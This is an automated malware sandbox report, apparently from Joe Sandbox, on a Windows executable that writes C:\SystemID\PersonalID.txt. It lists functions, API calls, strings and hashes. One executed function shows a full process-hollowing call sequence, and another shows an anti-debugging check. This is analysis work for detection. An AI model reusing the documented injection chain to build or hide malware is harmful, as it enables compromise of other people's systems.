API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E
.\crypto\evp\digest.c, xrefs: 00480638

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000002.00000002.1742399801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1742399801.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1742399801.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exePID: 7240, Parent PID: 3492COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	0%
Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 02240110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02240156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0224016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02240255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02240270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02240283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0224029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02240304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0224032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02240399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022403BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022403E1
ResumeThread.KERNELBASE(00000000), ref: 022403ED
ExitProcess.KERNEL32(00000000), ref: 02240412

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: ffe2579ac2e5be3bd7f55858e75e7e1ab3bad9a266419cd88f4d62c90222e377
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 71B1C974A00209AFDB44CF98C895F9EBBB5FF88314F248158E609AB395D771AE41CF94

Function 02240420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02240533

Strings

d, xrefs: 02240584
saodkfnosa9uin, xrefs: 022404DA
mfoaskdfnoa, xrefs: 02240520, 02240523
0, xrefs: 02240492

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 7f4b006772efc40111e077d97bd0e702f98e317c631ce4050c591350f5c65496
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 98511870D08388DAEB15CBE8C849BDDBFB2AF15708F144058D5487F28AC7BA5658CB66

Function 022405B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022405EC

Strings

o, xrefs: 02240600
apfHQ, xrefs: 022405E2, 022405E5

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: dd5d3761546fd650d0229387b1d8b9a357ec83783410ba60dc3e5bdac464bd7e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 02011E70C0425DEADB19DBD8C5183AEBFB5AF41308F148099C5492B241DBB69B98CBA1

Function 0080C7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0080C7EE
Module32First.KERNEL32(00000000,00000224), ref: 0080C80E

Memory Dump Source

Source File: 00000007.00000002.1778324118.000000000080C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0080C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_80c000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 09219e77c29077cadfd956c3da8ee93de6b37696450c6d88dd86baebf01e53e9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E9F06D322007146FE7603FB9AC8DA6E76E8FF89725F204628FA42D10C0DB70E8458A65

Function 0080C485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0080C4D6

Memory Dump Source

Source File: 00000007.00000002.1778324118.000000000080C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0080C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_80c000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 951cc21a8441f0b0dae43cd5fcc896dae99aec50ef2697c2c72bc7ff3c36e801
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 42112A79A00208EFDB41DF98C985E99BBF5EB08350F158094F9489B3A2D371EA90DB81

Non-executed Functions

Function 02266437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0226644E

Part of subcall function 02269636: __calloc_impl.LIBCMT ref: 02269645

__calloc_crt.LIBCMT ref: 02266472
_free.LIBCMT ref: 02266480
__calloc_crt.LIBCMT ref: 0226648E
_free.LIBCMT ref: 0226649E
_free.LIBCMT ref: 022664A4
__copytlocinfo_nolock.LIBCMT ref: 022664B3
__setmbcp_nolock.LIBCMT ref: 022664D4
_free.LIBCMT ref: 022664E2
___removelocaleref.LIBCMT ref: 022664E9
___freetlocinfo.LIBCMT ref: 022664F0
_free.LIBCMT ref: 022664F6

Memory Dump Source

Source File: 00000007.00000002.1778445839.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2240000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: e16c6ac65fc63b261b46fc6dab4d437986463ec9081b38c19364dc8e2a97e754
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: BD21C233124351AEE7313FE5C80DE3BBBDADF41750F608019E489555ACEB2695D0CE50

Function 02263F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02263F51

Part of subcall function 02265BA8: __getptd_noexit.LIBCMT ref: 02265BA8

__gmtime64_s.LIBCMT ref: 02263FEA
__gmtime64_s.LIBCMT ref: 02264020
__gmtime64_s.LIBCMT ref: 0226403D
__allrem.LIBCMT ref: 02264093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022640AF
__allrem.LIBCMT ref: 022640C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022640E4
__allrem.LIBCMT ref: 022640FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02264119
